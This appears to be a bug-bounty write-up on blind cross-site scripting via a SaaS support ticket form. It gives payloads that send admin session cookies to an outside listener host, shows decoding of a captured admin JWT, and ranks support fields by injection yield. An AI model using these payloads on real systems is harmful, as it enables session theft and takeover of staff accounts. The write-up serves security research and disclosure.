// Why the support form is special
Think about what happens when you submit a support ticket. A real human being — a support agent, a triager, maybe an engineer — opens a dashboard and reads it. They click on your ticket. They see your subject line. They see your name. They see every field you filled in.
That dashboard is almost always an internal admin tool. Built fast, maintained poorly, and almost never subjected to the same security review as the user-facing product. The frontend team writes the public app carefully. The support tool was thrown together by a backend developer on a Friday afternoon, and it's been running unchanged for three years.
This is the definition of blind XSS. You inject, you wait, and you listen. The payload fires hours or days later, in a browser session you'll never see — unless you have an out-of-band listener capturing the callback.
// The injection
I created a free account on the target — a project management SaaS with a "Contact Support" button in the nav. Standard form: subject, category, message. I filled it in like this:
I injected into every field simultaneously — name, subject, and message body. Each one points to a different path on my pingback listener (/name, /subject, /message). When the hit arrives, the path tells me exactly which field was vulnerable. Then I closed the tab and went back to testing other endpoints.
// The payloads — every context covered
# Basic — works when the field renders inside an HTML tag attribute or text node "><script src=//abc123.pingback.sh/subject></script> # img onerror — fires even if CSP blocks external scripts "><img src=x onerror="fetch('//abc123.pingback.sh/img?c='+btoa(document.cookie))"> # SVG variant — bypasses some basic filters <svg/onload=fetch('//abc123.pingback.sh/svg?c='+btoa(document.cookie))> # If the field ends up inside a JS string (e.g. var subject = "FIELD") "; fetch('//abc123.pingback.sh/js?c='+btoa(document.cookie)); var x=" # Full cookie exfil — use this for the escalation PoC "><script>fetch('//abc123.pingback.sh/cookie?c='+btoa(document.cookie)+ '&u='+btoa(document.location.href))</script> # The &u= parameter sends the current URL — tells you exactly which admin page fired it
// Four hours of silence
I submitted the ticket at 10:14 AM. Nothing happened. I checked my pingback dashboard at 10:30. Nothing. I moved on to other targets and forgot about it.
At 2:27 PM — four hours and thirteen minutes after submission — my pingback dashboard showed a hit.
Two hits, one second apart. The first: the script tag loaded from /subject — confirming the subject line field was the vulnerable one. The second: the cookie exfil payload fired automatically, sending the base64-encoded session cookie and current URL to /cookie.
The Referer header said everything: admin.acmesaas.com/tickets/TK-4821. A support agent had opened my ticket in the admin panel. My script had executed in their authenticated browser session.
// Decoding the hit
# Decode the cookie parameter: $ echo "c2Vzc2lvbj1leUpoYkdjaU9pSklVekkx..." | base64 -d session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiJ9... # Decode the URL parameter: $ echo "YWRtaW4uYWNtZXNhYXMuY29tL3RpY2tldHM..." | base64 -d admin.acmesaas.com/tickets/TK-4821 # The JWT payload decoded: # { "userId": 1, "role": "admin", "email": "support@acmesaas.com" } # userId: 1 — this is likely the first admin account created # role: "admin" — full admin privileges confirmed
role: "admin". That's your PoC. Do not use this cookie to authenticate as the admin — that's unauthorized access. Screenshot everything, note the JWT claims, and submit.
// What the admin panel looked like when it fired
The agent saw a list of open tickets. Mine was at the bottom — opened 4 hours ago. They clicked it. The subject line rendered unescaped in the ticket detail view. The script tag executed. The cookie flew to pingback before the page even finished loading.
// The full timeline
/subject. Cookie exfil payload executed immediately after. Admin session cookie captured. Referer confirmed admin subdomain.role: "admin", userId: 1. Confirmed full admin privileges. Noted the absence of HttpOnly flag — cookie was fully accessible to JavaScript.// Every support surface worth testing
| Field | Why it renders in admin context | Yield |
|---|---|---|
| Ticket subject | Appears in the ticket queue list — loaded every time an agent opens the dashboard | ★★★★★ |
| Your name / display name | Shown in the agent's sidebar and in every ticket they open from you | ★★★★☆ |
| Message body | Rendered in ticket detail view — usually a rich text field with more parsing surface | ★★★★☆ |
| Company name | Often shown in account details panel next to the ticket | ★★★☆☆ |
| Custom fields | "How did you hear about us", "Job title" — rendered in account profile views | ★★★☆☆ |
| File attachment name | Shown in the attachment list — same filename vector as our previous writeup | ★★★☆☆ |
| Email address | Rarely unsanitized but worth testing — appears in account lookup views | ★★☆☆☆ |
// Why this works every year
Support tools are built under time pressure and rarely updated. The public-facing ticket form gets reviewed. The admin panel that renders tickets was written once, works, and nobody touches it. It predates the security review cycle. It doesn't use the modern frontend framework. And it renders raw database values directly into HTML templates because it was written before "always escape output" became standard practice.
Every SaaS company has a support queue. Every support queue has an admin interface. And most admin interfaces were written by someone who wasn't thinking about XSS when they built it.